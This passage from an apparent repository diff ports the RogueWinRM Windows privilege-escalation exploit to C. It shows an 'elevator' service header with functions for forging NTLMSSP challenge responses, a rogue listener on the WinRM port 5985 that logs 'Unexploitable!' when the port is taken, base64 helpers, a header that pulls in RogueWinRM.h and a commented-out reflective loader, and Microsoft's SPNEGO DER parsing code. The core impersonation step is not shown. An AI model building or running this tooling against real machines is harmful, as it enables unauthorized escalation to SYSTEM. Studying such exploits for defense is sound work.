elevSocketStop socketError;
ntlmsspRequest computeNtlmsspRequest;
forgeNtlmssp forgeNtlmsspChallengeResponses;
genNegTokTarg generateNegTokenTarg;
// Arguments
Server baseServer; // This is a pointer to a service object (service.c)
} elevatorServer;
// Entry point
void handleListener(LPVOID threadParameters);
// Emulated class Methods
void initElevatorService(elevatorServer* this, char* listen_address, char* listen_port);
void destructElevatorService(elevatorServer* this);
void elevatorSocketError(elevatorServer* this, char* error_message);
static void handleNTLMPConnection(elevatorServer* this, LocalNegotiator* negotiator);
static void compute_ntlmssp_request(elevatorServer* this, char* recvbuf, int iResult, unsigned char** ntlmssp_request, unsigned short* ntlmssp_request_len);
static char* forge_ntlmssp_challenge_responses(elevatorServer* this, unsigned char* ntlmssp_type2, unsigned short ntlmssp_type2_len, int* http_response_type2_packet_len);
static BOOL genNegTokenTarg(elevatorServer* this, unsigned char* ntlmssp, unsigned short ntlmssp_len, unsigned char** generatedToken, unsigned short* generatedTokenLen);
// Static functions
static BOOL findBase64Negotiate(char* buffer, int buffer_content_len, byte* outbuffer, unsigned short* outbuffer_content_len);
static BOOL parseNegToken(unsigned char* token, int tokenSize, unsigned char** parsedToken, unsigned short* parsedTokenLen);

View File

@ -0,0 +1,251 @@
#include "..\pch.h"
/**
This module is a plain C class emulation. The POC written by decoder was in cpp and used some classes
in particular for the local negotiator.
See https://stackoverflow.com/questions/40992945/convert-a-cpp-class-cpp-file-into-a-c-structure-c-file
for how I emulated a class in pure C.
This class defines a base server object. Inheritance will be emulated in order to create a
Rogue WinRM service and a simple http server derived from this class.
*/
/**
Constructor of the Server class. Setup the addresses of class methods,
and initialize some arguments
@param Server* this Address of the instantiated object.
@param char* listen_address Address of IP (as string)
@param char* listen_port Address of port (as string)
@param BOOL debug TRUE or FALSE. Defined in main/dllmain
*/
void initService(Server* this, char* listen_address, char* listen_port)
{
ZeroMemory(this, sizeof(Server));
this->destruct = &destructService;
this->listenerStart = &startListener;
this->serverStop = &SocketError;
this->listen_address = listen_address;
this->listen_port = listen_port;
this->socket = INVALID_SOCKET;
this->socketInfos = NULL;
ZeroMemory(&this->hints, sizeof(this->hints));
this->hints.ai_family = AF_INET;
this->hints.ai_socktype = SOCK_STREAM;
this->hints.ai_protocol = IPPROTO_TCP;
this->hints.ai_flags = AI_PASSIVE;
this->listenerStart(this);
return;
}
/**
Destructor of the Server class. Free allocated memory.
@param Server* this Address of the instantiated object.
*/
void destructService(Server* this)
{
/*for (this->allocationMapLen=10; this->allocationMapLen > 0; this->allocationMapLen--)
{
free(this->allocationMap[this->allocationMapLen]);
}*/
return;
}
/**
Initialization of the server :
- Initialize Winsock
- Resolve the server address and port
- Create a SOCKET for connecting to server
- Setup the TCP listening socket
- Accept a client socket and put it as argument to make it available for derived servers.
- Clean the listen socket
@param Server* this Address of the instantiated object.
*/
static void startListener(Server* this)
{
int iResult = -1;
WSADATA wsaData;
SOCKET ListenSocket = INVALID_SOCKET;
struct addrinfo* result = NULL;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0)
{
dprintf("[startListener] ERROR: WSAStartup failed with error: %d", iResult);
exit(-1);
}
dprintf("[startListener] SUCCESS: WSAStartup initialized");
// Resolve the server address and port
iResult = getaddrinfo(this->listen_address, this->listen_port, &this->hints, &this->socketInfos);
if (iResult != 0)
{
dprintf("[startListener] ERROR: getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
exit(-1);
}
dprintf("[startListener] SUCCESS: getaddrinfo initialized. host:%s, port: %s", this->listen_address, this->listen_port);
// Create a SOCKET for connecting to server
ListenSocket = socket(this->socketInfos->ai_family, this->socketInfos->ai_socktype, this->socketInfos->ai_protocol);
if (ListenSocket == INVALID_SOCKET)
{
dprintf("[startListener] ERROR: socket creation failed with error: %ld\n", WSAGetLastError());
freeaddrinfo(this->socketInfos);
WSACleanup();
exit(-1);
}
dprintf("[startListener] SUCCESS: socket created.");
// Setup the TCP listening socket
iResult = bind(ListenSocket, this->socketInfos->ai_addr, (int)this->socketInfos->ai_addrlen);
if (iResult == SOCKET_ERROR)
{
if (strcmp(this->listen_port, "5985") == 0) { dprintf("[startListener] ERROR: WinRM already running on port 5985. Unexploitable!"); }
dprintf("[startListener] ERROR: bind failed with error: %d", WSAGetLastError());
freeaddrinfo(this->socketInfos);
this->serverStop(this, ListenSocket, "[startListener] ERROR: bind failed");
}
dprintf("[startListener] SUCCESS: socket bound.");
freeaddrinfo(this->socketInfos);
iResult = listen(ListenSocket, SOMAXCONN);
if (iResult == SOCKET_ERROR) { this->serverStop(this, ListenSocket, "[startListener] ERROR: Listen stage failed"); }
dprintf("[startListener] SUCCESS: socket is now listening for incoming connexions.");
// Accept a client socket
this->socket = accept(ListenSocket, NULL, NULL);
if (this->socket == INVALID_SOCKET) { this->serverStop(this, this->socket, "[startListener] ERROR: Accept stage failed"); }
dprintf("[startListener] SUCCESS: socket accept stage successful.");
// No longer need server socket
closesocket(ListenSocket);
return;
}
/**
In case of failure, close properly the server:
- Shutdown this->socket
- Close this->socket
- Invoke the class destructor
@param Server* this Address of the instantiated object
@param SOCKET Socket Socket to close. If -1, then set it to this->socket
@param char* error_message Message to be displayed
*/
static void SocketError(Server* this, SOCKET Socket, char* error_message)
{
if (Socket == -1) { Socket = this->socket; }
dprintf("[SocketError] SOCKET ERROR: WSAGetLastError: %d", WSAGetLastError());
dprintf("%s", error_message);
shutdown(Socket, SD_SEND);
closesocket(Socket);
WSACleanup();
this->destruct(this);
exit(-1);
}
/**
Print network packets received or to be send for debug purposes in tcpdump style.
This function is only for debug purpose. If DEBUGTRACE preprocessor constant is
not set, this function returns immediately without doing anything.
*/
void hexDump_if_debug_env(char* desc, void* addr, int len)
{
#ifdef DEBUGTRACE
int i;
int written_chars = 0;
unsigned char buff[17];
unsigned char temporary_buff[20] = { 0 };
unsigned char line[74] = { 0 };
unsigned char* pc = (unsigned char*)addr;
// Output description if given.
if (desc != NULL)
dprintf("[hexDump] %s:\n", desc);
if (len == 0)
{
dprintf("[hexDump] ERROR: data are zero length.");
return;
}
if (len < 0)
{
dprintf("[hexDump] ERROR: data are negative length.: %i", len);
return;
}
dprintf("[hexDump] Hexdump of packet:");
// Process every byte in the data.
for (i = 0; i < len; i++)
{
// Multiple of 16 means new line (with line offset).
if ((i % 16) == 0)
{
// Just don't print ASCII for the zeroth line.
if (i != 0)
{
strcat_s(line, 74, " ");
strcat_s(line, 74, buff);
dprintf("[hexDump] %s", line);
ZeroMemory(line, 74);
}
// Put the offset in line buffer.
written_chars = sprintf_s(temporary_buff, 20, " %04x ", i);
strcat_s(line, 74, temporary_buff);
ZeroMemory(temporary_buff, 20);
}
// Now the hex code for the specific character.
written_chars = sprintf_s(temporary_buff, 20, " %02x", pc[i]);
strcat_s(line, 74, temporary_buff);
ZeroMemory(temporary_buff, 20);
// And store a printable ASCII character for later.
if ((pc[i] < 0x20) || (pc[i] > 0x7e))
buff[i % 16] = '.';
else
buff[i % 16] = pc[i];
buff[(i % 16) + 1] = '\0';
}
// Pad out last line if not exactly 16 characters.
while ((i % 16) != 0)
{
written_chars = sprintf_s(temporary_buff, 20, " ");
strcat_s(line, 74, temporary_buff);
ZeroMemory(temporary_buff, 20);
i++;
}
// And print the final ASCII bit.
written_chars = sprintf_s(temporary_buff, 20, " %s\n", buff);
strcat_s(line, 74, temporary_buff);
ZeroMemory(temporary_buff, 20);
dprintf("[hexDump] %s", line);
#endif
return;
}

View File

@ -0,0 +1,49 @@
#pragma once
#include <ws2tcpip.h>
#pragma comment (lib, "Ws2_32.lib")
/**
This module is a plain C class emulation. The POC written by decoder was in cpp and used some classes
in particular for the local negotiator.
See https://stackoverflow.com/questions/40992945/convert-a-cpp-class-cpp-file-into-a-c-structure-c-file
for how I emulated a class in pure C.
This class defines a base server object. Inheritance will be emulated in order to create a
Rogue WinRM service and a simple http server derived from this class.
*/
struct _Server;
typedef void (*serviceConstructor) (struct _Server*, char*, char*);
typedef void (*serviceDestructor) (struct _Server*);
typedef void (*starter) (struct _Server*);
typedef void (*cleaner) (struct _Server*, SOCKET, char*);
typedef struct _Server
{
// Methods as pointer to functions
serviceConstructor construct;
serviceDestructor destruct;
starter listenerStart;
cleaner serverStop;
// Arguments
char* listen_port; // Trivial
char* listen_address; // Trivial
SOCKET socket; // Trivial
struct addrinfo hints; // Temporary variables used to compute
struct addrinfo* socketInfos;
} Server;
// Constructor and destructor
void initService(Server* this, char* listen_address, char* listen_port);
void destructService(Server* this);
// Class methods
static void startListener(Server* this);
static void SocketError(Server* this, SOCKET Socket, char* error_message);
// Static functions
void hexDump_if_debug_env(char* desc, void* addr, int len);

View File

@ -0,0 +1,129 @@
#include "pch.h"
/**
Takes data, allocate a buffer in heap of size 4/3 + 2 to handle the result,
base64 encode it and returns a pointer to result buffer.
@param const unsigned char* data The data to be encoded.
@param unsigned short input_length Length of unencoded data (length of previous arg)
@param unsigned short input_length An address to handle the length of b64 encoded result data.
Will be 4/3 + 2 of input_length
@return char* A pointer to the heap buffer containing the b64 encoded result
*/
char* base64_encode(const unsigned char* data,
unsigned short input_length,
unsigned short* output_length)
{
char* encoded_data = NULL;
DWORD local_output_len = 0;
if (!CryptBinaryToStringA
(
data,
input_length,
CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF,
NULL,
&local_output_len
))
{
return NULL;
}
encoded_data = (char*)calloc(local_output_len, sizeof(char));
if (!encoded_data)
{
return NULL;
}
if (!CryptBinaryToStringA
(
data,
input_length,
CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF,
encoded_data,
&local_output_len
))
{
return NULL;
}
if (local_output_len <= 65535)
{
*output_length = (unsigned short)local_output_len;
}
else
return NULL;
return encoded_data;
}
/**
Builds a decoding table in heap. Then takes base 64 encoded data data,
allocate a buffer in heap of size 3/4 of input length to handle the result,
base64 decode it and returns a pointer to the result buffer. Then, free the
base64 decoding table.
@param const unsigned char* data The data to be decoded.
@param unsigned short input_length Length of encoded data (length of previous arg)
@param unsigned short input_length An address to handle the length of b64 encoded result data.
Will be 3/4 of input_length
@return char* A pointer to the heap buffer containing the decoded result
*/
unsigned char* base64_decode(const char* data,
unsigned short input_length,
unsigned short* output_length)
{
unsigned char* decoded_data = NULL;
DWORD local_output_len = 0;
if (!CryptStringToBinaryA
(
data,
0,
CRYPT_STRING_BASE64,
NULL,
&local_output_len,
NULL,
NULL
))
{
return NULL;
}
decoded_data = (unsigned char*)calloc(local_output_len, sizeof(char));
if (!decoded_data)
{
return NULL;
}
if (!CryptStringToBinaryA
(
data,
0,
CRYPT_STRING_BASE64,
decoded_data,
&local_output_len,
NULL,
NULL
))
{
return NULL;
}
if (local_output_len <= 65535)
{
*output_length = (unsigned short)local_output_len;
}
else
return NULL;
return decoded_data;
}

View File

@ -0,0 +1,8 @@
#pragma once
#include <wincrypt.h>
#pragma comment(lib, "crypt32.lib")
char* base64_encode(const unsigned char*, unsigned short, unsigned short*);
unsigned char* base64_decode(const char*, unsigned short, unsigned short*);

View File

@ -0,0 +1,3 @@
// pch.cpp: source file corresponding to precompiled header
#include "pch.h"

View File

@ -0,0 +1,49 @@
// pch.h : precompiled header
#ifndef PCH_H
#define PCH_H
// add precompiled headers here
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif
#ifndef SECURITY_WIN32
#define SECURITY_WIN32
#endif
#include <Unknwnbase.h>
#include <Sspi.h>
#include <stdio.h>
// Uncomment this line to include debug output
//#define DEBUGTRACE
#ifdef DEBUGTRACE
#define dprintf(...) real_dprintf(__VA_ARGS__)
static void real_dprintf(char* format, ...)
{
va_list args;
char buffer[1024];
va_start(args, format);
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer) - 3, format, args);
strcat_s(buffer, sizeof(buffer), "\r\n");
OutputDebugStringA(buffer);
}
#else
#define dprintf(...)
#endif
//#include "ReflectiveLoader.h"
#include "LocalNegotiator.h"
#include "Services/service.h"
#include "Services/elevatorService.h"
#include "base64.h"
#include "spnegotokenhandler/spnego.h"
#include "spnegotokenhandler/derparse.h"
#include "spnegotokenhandler/spnegoparse.h"
#include "RogueWinRM.h"
#endif //PCH_H

View File

@ -0,0 +1,723 @@
// Copyright (C) 2002 Microsoft Corporation
// All rights reserved.
//
// THIS CODE AND INFORMATION IS PROVIDED "AS IS"
// WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
// OR IMPLIED, INCLUDING BUT NOT LIMITED
// TO THE IMPLIED WARRANTIES OF MERCHANTIBILITY
// AND/OR FITNESS FOR A PARTICULAR PURPOSE.
//
// Date - 10/08/2002
// Author - Sanj Surati
/////////////////////////////////////////////////////////////
//
// DERPARSE.C
//
// SPNEGO Token Handler Source File
//
// Contains implementation of ASN.1 DER read/write functions
// as defined in DERPARSE.H.
//
/////////////////////////////////////////////////////////////
/*#include <stdlib.h>
#include <stdio.h>
#include <memory.h>
#include "spnego.h"
#include "derparse.h"*/
#include "..\pch.h"
#define __LITTLE_ENDIAN__ 1
//
// The GSS Mechanism OID enumeration values (SPNEGO_MECH_OID) control which offset in
// the array below, that a mechanism can be found.
//
MECH_OID g_stcMechOIDList[] =
{
{"\x06\x09\x2a\x86\x48\x82\xf7\x12\x01\x02\x02", 11, 9,
spnego_mech_oid_Kerberos_V5_Legacy }, // 1.2.840.48018.1.2.2
{"\x06\x09\x2a\x86\x48\x86\xf7\x12\x01\x02\x02", 11, 9,
spnego_mech_oid_Kerberos_V5 }, // 1.2.840.113554.1.2.2
{"\x06\x06\x2b\x06\x01\x05\x05\x02", 8, 6,
spnego_mech_oid_Spnego }, // 1.3.6.1.5.5.2
{"\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a", 12, 10,
spnego_mech_oid_NTLMSSP }, // 1.3.6.1.4.1.311.2.2.10
{"", 0, 0, spnego_mech_oid_NotUsed } // Placeholder
};
/////////////////////////////////////////////////////////////////////////////
//
// Function:
// ASNDerGetLength
//
// Parameters:
// [in] pbLengthData - DER Length Data
// [in] nBoundaryLength - Length that value must not exceed.
// [out] pnLength - Filled out with length value
// [out] pnNumLengthBytes - Filled out with number of bytes
// consumed by DER length.
//
// Returns:
// int Success - SPNEGO_E_SUCCESS
// Failure - SPNEGO API Error code
//
// Comments :
// Interprets the data at pbLengthData as a DER length. The length must
// fit within the bounds of nBoundary length. We do not currently
// process lengths that take more than 4 bytes.
//
////////////////////////////////////////////////////////////////////////////
static int ASNDerGetLength(unsigned char* pbLengthData, unsigned short nBoundaryLength, unsigned short* pnLength,
unsigned short* pnNumLengthBytes)
{
int nReturn = SPNEGO_E_INVALID_LENGTH;
unsigned short nNumLengthBytes = 0;
// First check if the extended length bit is set
if (*pbLengthData & LEN_XTND)
{
// Lower 7 bits contain the number of trailing bytes that describe the length
nNumLengthBytes = *pbLengthData & LEN_MASK;
// Check that the number of bytes we are about to read is within our boundary
// constraints
if (nNumLengthBytes <= nBoundaryLength - 1)
{
// For now, our handler won't deal with lengths greater than 4 bytes
if (nNumLengthBytes >= 1 && nNumLengthBytes <= 4)
{
// 0 out the initial length
*pnLength = 0L;
// Bump by 1 byte
pbLengthData++;
#ifdef __LITTLE_ENDIAN__
// There may be a cleaner way to do this, but for now, this seems to be
// an easy way to do the transformation
switch (nNumLengthBytes)
{
case 1:
{
*(((unsigned char*)pnLength)) = *pbLengthData;
break;
}
case 2:
{
*(((unsigned char*)pnLength)) = *(pbLengthData + 1);
*(((unsigned char*)pnLength) + 1) = *(pbLengthData);
break;
}
case 3:
{
*(((unsigned char*)pnLength)) = *(pbLengthData + 2);
*(((unsigned char*)pnLength) + 2) = *(pbLengthData + 1);
*(((unsigned char*)pnLength) + 3) = *(pbLengthData);
break;
}
case 4:
{
*(((unsigned char*)pnLength)) = *(pbLengthData + 3);
*(((unsigned char*)pnLength) + 1) = *(pbLengthData + 2);
*(((unsigned char*)pnLength) + 2) = *(pbLengthData + 1);
*(((unsigned char*)pnLength) + 3) = *(pbLengthData);
break;
}
} // SWITCH ( nNumLengthBytes )
#else
// We are Big-Endian, so the length can be copied in from the source
// as is. Ensure that we adjust for the number of bytes we actually
// copy.
memcpy(((unsigned char*)pnLength) + (4 - nNumLengthBytes),
pbLengthData, nNumLengthBytes);
#endif
// Account for the initial length byte
* pnNumLengthBytes = nNumLengthBytes + 1;
nReturn = SPNEGO_E_SUCCESS;
} // IF Valid Length
} // IF num bytes to read is within the boundary length
} // IF xtended length
else
{
// Extended bit is not set, so the length is in the value and the one
// byte describes the length
*pnLength = *pbLengthData & LEN_MASK;
*pnNumLengthBytes = 1;
nReturn = SPNEGO_E_SUCCESS;
}
return nReturn;
}
/////////////////////////////////////////////////////////////////////////////
//
// Function:
// ASNDerCheckToken
//
// Parameters:
// [in] pbTokenData - Token Data
// [in] nToken - Token identifier to check for
// [in] nLengthWithToken - Expected token length (with data)
// [in] nBoundaryLength - Length that value must not exceed.
// [out] pnLength - Filled out with data length
// [out] pnTokenLength - Filled out with number of bytes
// consumed by token identifier and length.
//
// Returns:
// int Success - SPNEGO_E_SUCCESS
// Failure - SPNEGO API Error code
//
// Comments :
// Checks the data pointed to by pbTokenData for the specified token
// identifier and the length that immediately follows. If
// nLengthWithToken is > 0, the calculated length must match. The
// length must also not exceed the specified boundary length .
//
////////////////////////////////////////////////////////////////////////////
int ASNDerCheckToken(unsigned char* pbTokenData, unsigned char nToken,
unsigned short nLengthWithToken, unsigned short nBoundaryLength,
unsigned short* pnLength, unsigned short* pnTokenLength)
{
int nReturn = SPNEGO_E_INVALID_LENGTH;
unsigned short nNumLengthBytes = 0L;
// Make sure that we've at least got 2 bytes of room to work with
if (nBoundaryLength >= 2)
{
// The first byte of the token data MUST match the specified token
if (*pbTokenData == nToken)
{
// Next byte indicates the length
pbTokenData++;
// Get the length described by the token
if ((nReturn = ASNDerGetLength(pbTokenData, nBoundaryLength, pnLength,
&nNumLengthBytes)) == SPNEGO_E_SUCCESS)
{
// Verify that the length is LESS THAN the boundary length
// (this should prevent us walking out of our buffer)
if ((nBoundaryLength - (nNumLengthBytes + 1) < *pnLength))
{
nReturn = SPNEGO_E_INVALID_LENGTH;
}
// If we were passed a length to check, do so now
if (nLengthWithToken > 0L)
{
// Check that the expected length matches
if ((nLengthWithToken - (nNumLengthBytes + 1)) != *pnLength)
{
nReturn = SPNEGO_E_INVALID_LENGTH;
}
} // IF need to validate length
if (SPNEGO_E_SUCCESS == nReturn)
{
*pnTokenLength = nNumLengthBytes + 1;
}
} // IF ASNDerGetLength
} // IF token matches
else
{
nReturn = SPNEGO_E_TOKEN_NOT_FOUND;
}
} // IF Boundary Length is at least 2 bytes
return nReturn;
}
/////////////////////////////////////////////////////////////////////////////
//
// Function:
// ASNDerCheckOID
//
// Parameters:
// [in] pbTokenData - Token Data
// [in] nMechOID - OID we are looking for
// [in] nBoundaryLength - Length that value must not exceed.
// [out] pnTokenLength - Filled out with number of bytes
// consumed by token and data.
//
// Returns:
// int Success - SPNEGO_E_SUCCESS
// Failure - SPNEGO API Error code
//
// Comments :
// Checks the data pointed to by pbTokenData for the specified OID.
//
////////////////////////////////////////////////////////////////////////////
int ASNDerCheckOID(unsigned char* pbTokenData, SPNEGO_MECH_OID nMechOID, unsigned short nBoundaryLength,
unsigned short* pnTokenLength)
{
int nReturn = 0L;
unsigned short nLength = 0L;
// Verify that we have an OID token
if ((nReturn = ASNDerCheckToken(pbTokenData, OID, 0L, nBoundaryLength,
&nLength, pnTokenLength)) == SPNEGO_E_SUCCESS)
{
// Add the data length to the Token Length
*pnTokenLength += nLength;
// Token Lengths plus the actual length must match the length in our OID list element.
// If it doesn't, we're done
if (*pnTokenLength == g_stcMechOIDList[nMechOID].iLen)
{
// Memcompare the token and the expected field
if (memcmp(pbTokenData, g_stcMechOIDList[nMechOID].ucOid, *pnTokenLength) != 0)
{
nReturn = SPNEGO_E_UNEXPECTED_OID;
}
}
else
{
nReturn = SPNEGO_E_UNEXPECTED_OID;
}
} // IF OID Token CHecks
return nReturn;
}
/////////////////////////////////////////////////////////////////////////////
//
// Function:
// ASNDerCalcNumLengthBytes
//
// Parameters:
// [in] nLength - Length to calculate length bytes for.
//
// Returns:
// int Number of bytes necessary to represent length
//
// Comments :
// Helper function to calculate the number of length bytes necessary to
// represent a length value. For our purposes, a 32-bit value should be
// enough to describea length.
//
////////////////////////////////////////////////////////////////////////////
static unsigned short ASNDerCalcNumLengthBytes(unsigned short nLength)
{
if (nLength <= 0x7F)
{
// A single byte will be sufficient for describing this length.
// The byte will simply contain the length
return 1;
}
else if (nLength <= 0xFF)
{
// Two bytes are necessary, one to say how many following bytes
// describe the length, and one to give the length
return 2;
}
else if (nLength <= 0xFFFF)
{
// Three bytes are necessary, one to say how many following bytes
// describe the length, and two to give the length
return 3;
}
else if (nLength <= 0xFFFFFF)
{
// Four bytes are necessary, one to say how many following bytes
// describe the length, and three to give the length
return 4;
}
else
{
// Five bytes are necessary, one to say how many following bytes
// describe the length, and four to give the length
return 5;
}
}
/////////////////////////////////////////////////////////////////////////////
//
// Function:
// ASNDerCalcTokenLength
//
// Parameters:
// [in] nLength - Length to calculate length bytes for.
// [in] nDataLength - Actual Data length value.
//
// Returns:
// long Number of bytes necessary to represent a token, length and data
//
// Comments :
// Helper function to calculate a token and value size, based on a
// supplied length value, and any binary data that will need to be
// written out.
//
////////////////////////////////////////////////////////////////////////////
unsigned short ASNDerCalcTokenLength(unsigned short nLength, unsigned short nDataLength)
{
// Add a byte to the length size to account for a single byte to
// hold the token type.
unsigned short nTotalLength = ASNDerCalcNumLengthBytes(nLength) + 1;
return nTotalLength + nDataLength;
}
/////////////////////////////////////////////////////////////////////////////
//
// Function:
// ASNDerCalcElementLength
//
// Parameters:
// [in] nDataLength - Length of data.
// [out] pnInternalLength - Filled out with length of element
// without sequence info.
//
// Returns:
// long Number of bytes necessary to represent an element
//
// Comments :
// Helper function to calculate an element length. An element consists
// of a sequence token, a type token and then the data.
//
////////////////////////////////////////////////////////////////////////////
unsigned short ASNDerCalcElementLength(unsigned short nDataLength, unsigned short* pnInternalLength)
{
// First the type token and the actual data
unsigned short nTotalLength = ASNDerCalcTokenLength(nDataLength, nDataLength);
// Internal length is the length without the element sequence token
if (NULL != pnInternalLength)
{
*pnInternalLength = nTotalLength;
}
// Next add in the element's sequence token (remember that its
// length is the total length of the type token and data)
nTotalLength += ASNDerCalcTokenLength(nTotalLength, 0L);
return nTotalLength;
}
/////////////////////////////////////////////////////////////////////////////
//
// Function:
// ASNDerCalcMechListLength
//
// Parameters:
// [in] mechoid - Mech OID to put in list.
// [out] pnInternalLength - Filled out with length of element
// without the primary sequence token.
//
// Returns:
// long Number of bytes necessary to represent a mechList
//
// Comments :
// Helper function to calculate a MechList length. A mechlist consists
// of a NegTokenInit sequence token, a sequence token for the MechList
// and finally a list of OIDs. In our case, we only really have one
// OID.
//
////////////////////////////////////////////////////////////////////////////
unsigned short ASNDerCalcMechListLength(SPNEGO_MECH_OID mechoid, unsigned short* pnInternalLength)
{
// First the OID
unsigned short nTotalLength = g_stcMechOIDList[mechoid].iLen;
// Next add in a sequence token
nTotalLength += ASNDerCalcTokenLength(nTotalLength, 0L);
// Internal length is the length without the element sequence token
if (NULL != pnInternalLength)
{
*pnInternalLength = nTotalLength;
}
// Finally add in the element's sequence token
nTotalLength += ASNDerCalcTokenLength(nTotalLength, 0L);
return nTotalLength;
}
/////////////////////////////////////////////////////////////////////////////
//
// Function:
// ASNDerWriteLength
//
// Parameters:
// [out] pbData - Buffer to write into.
// [in] nLength - Length to write out.
//
// Returns:
// int Number of bytes written out
//
// Comments :
// Helper function to write out a length value following DER rules .
//
////////////////////////////////////////////////////////////////////////////
static unsigned short ASNDerWriteLength(unsigned char* pbData, unsigned short nLength)
{
unsigned short nNumBytesRequired = ASNDerCalcNumLengthBytes(nLength);
unsigned short nNumLengthBytes = nNumBytesRequired - 1;
if (nNumBytesRequired > 1)
{
// Write out the number of bytes following which will be used
*pbData = (unsigned char)(LEN_XTND | nNumLengthBytes);
// Point to where we'll actually write the length
pbData++;
#ifdef __LITTLE_ENDIAN__
// There may be a cleaner way to do this, but for now, this seems to be
// an easy way to do the transformation
switch (nNumLengthBytes)
{
case 1:
{
// Cast the length to a single byte, since we know that it
// is 0x7F or less (or we wouldn't only need a single byte).
*pbData = (unsigned char)nLength;
break;
}
case 2:
{
*pbData = *(((unsigned char*)&nLength) + 1);
*(pbData + 1) = *(((unsigned char*)&nLength));
break;
}
case 3:
{
*pbData = *(((unsigned char*)&nLength) + 3);
*(pbData + 1) = *(((unsigned char*)&nLength) + 2);
*(pbData + 2) = *(((unsigned char*)&nLength));
break;
}
case 4:
{
*pbData = *(((unsigned char*)&nLength) + 3);
*(pbData + 1) = *(((unsigned char*)&nLength) + 2);
*(pbData + 2) = *(((unsigned char*)&nLength) + 1);
*(pbData + 3) = *(((unsigned char*)&nLength));
break;
}
} // SWITCH ( nNumLengthBytes )
#else
// We are Big-Endian, so the length can be copied in from the source
// as is. Ensure that we adjust for the number of bytes we actually
// copy.
memcpy(pbData,
((unsigned char*)&nLength) + (4 - nNumLengthBytes), nNumLengthBytes);
#endif
} // IF > 1 byte for length
else
{
// Cast the length to a single byte, since we know that it
// is 0x7F or less (or we wouldn't only need a single byte).
*pbData = (unsigned char)nLength;
}
return nNumBytesRequired;
}
/////////////////////////////////////////////////////////////////////////////
//
// Function:
// ASNDerWriteToken
//
// Parameters:
// [out] pbData - Buffer to write into.
// [in] ucType - Token Type
// [in] pbTokenValue - Actual Value
// [in] nLength - Length of Data.
//
// Returns:
// int Number of bytes written out
//
// Comments :
// Helper function to write out a token and any associated data. If
// pbTokenValue is non-NULL, then it is written out in addition to the
// token identifier and the length bytes.
//
////////////////////////////////////////////////////////////////////////////
unsigned short ASNDerWriteToken(unsigned char* pbData, unsigned char ucType,
unsigned char* pbTokenValue, unsigned short nLength)
{
unsigned short nTotalBytesWrittenOut = 0L;
unsigned short nNumLengthBytesWritten = 0L;
// Write out the type
*pbData = ucType;
// Wrote 1 byte, and move data pointer
nTotalBytesWrittenOut++;
pbData++;
// Now write out the length and adjust the number of bytes written out
nNumLengthBytesWritten = ASNDerWriteLength(pbData, nLength);
nTotalBytesWrittenOut += nNumLengthBytesWritten;
pbData += nNumLengthBytesWritten;
// Write out the token value if we got one. The assumption is that the
// nLength value indicates how many bytes are in pbTokenValue.
if (NULL != pbTokenValue)
{
memcpy(pbData, pbTokenValue, nLength);
nTotalBytesWrittenOut += nLength;
}
return nTotalBytesWrittenOut;
}
/////////////////////////////////////////////////////////////////////////////
//
// Function:
// ASNDerWriteOID
//
// Parameters:
// [out] pbData - Buffer to write into.
// [in] eMechOID - OID to write out.
//
// Returns:
// int Number of bytes written out
//
// Comments :
// Helper function to write out an OID. For these we have the raw bytes
// listed in a global structure. The caller simply indicates which OID
// should be written and we will splat out the data.
//
////////////////////////////////////////////////////////////////////////////
int ASNDerWriteOID(unsigned char* pbData, SPNEGO_MECH_OID eMechOID)
{
memcpy(pbData, g_stcMechOIDList[eMechOID].ucOid, g_stcMechOIDList[eMechOID].iLen);
return g_stcMechOIDList[eMechOID].iLen;
}
/////////////////////////////////////////////////////////////////////////////
//
// Function:
// ASNDerWriteMechList
//
// Parameters:
// [out] pbData - Buffer to write into.
// [in] eMechOID - OID to put in MechList.
//
// Returns:
// int Number of bytes written out
//
// Comments :
// Helper function to write out a MechList. A MechList consists of the
// Init Token Sequence, a sequence token and then the list of OIDs. In
// our case the OID is from a global array of known OIDs.
//
////////////////////////////////////////////////////////////////////////////
unsigned short ASNDerWriteMechList(unsigned char* pbData, SPNEGO_MECH_OID mechoid)
{
// First get the length
unsigned short nInternalLength = 0L;
unsigned short nMechListLength = ASNDerCalcMechListLength(mechoid, &nInternalLength);
unsigned short nTempLength = 0L;
nTempLength = ASNDerWriteToken(pbData, SPNEGO_NEGINIT_ELEMENT_MECHTYPES,
NULL, nInternalLength);
// Adjust the data pointer
pbData += nTempLength;
// Now write the Sequence token and the OID (the OID is a BLOB in the global
// structure.
nTempLength = ASNDerWriteToken(pbData, SPNEGO_CONSTRUCTED_SEQUENCE,
g_stcMechOIDList[mechoid].ucOid,
g_stcMechOIDList[mechoid].iLen);
return nMechListLength;
}
/////////////////////////////////////////////////////////////////////////////
//
// Function:
// ASNDerWriteElement
//
// Parameters:
// [out] pbData - Buffer to write into.
// [in] ucElementSequence - Sequence Token
// [in] ucType - Token Type
// [in] pbTokenValue - Actual Value
// [in] nLength - Length of Data.
//
// Returns:
// int Number of bytes written out
//
// Comments :
// Helper function to write out a SPNEGO Token element. An element
// consists of a sequence token, a type token and the associated data.
//
////////////////////////////////////////////////////////////////////////////
unsigned short ASNDerWriteElement(unsigned char* pbData, unsigned char ucElementSequence,
unsigned char ucType, unsigned char* pbTokenValue, unsigned short nLength)
{
// First get the length
unsigned short nInternalLength = 0L;
unsigned short nElementLength = ASNDerCalcElementLength(nLength, &nInternalLength);
unsigned short nTempLength = 0L;
// Write out the sequence byte and the length of the type and data
nTempLength = ASNDerWriteToken(pbData, ucElementSequence, NULL, nInternalLength);
// Adjust the data pointer
pbData += nTempLength;
// Now write the type and the data.
nTempLength = ASNDerWriteToken(pbData, ucType, pbTokenValue, nLength);
return nElementLength;
}

View File

@ -0,0 +1,194 @@
// Copyright (C) 2002 Microsoft Corporation
// All rights reserved.
//
// THIS CODE AND INFORMATION IS PROVIDED "AS IS"
// WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
// OR IMPLIED, INCLUDING BUT NOT LIMITED
// TO THE IMPLIED WARRANTIES OF MERCHANTIBILITY
// AND/OR FITNESS FOR A PARTICULAR PURPOSE.
//
// Date - 10/08/2002
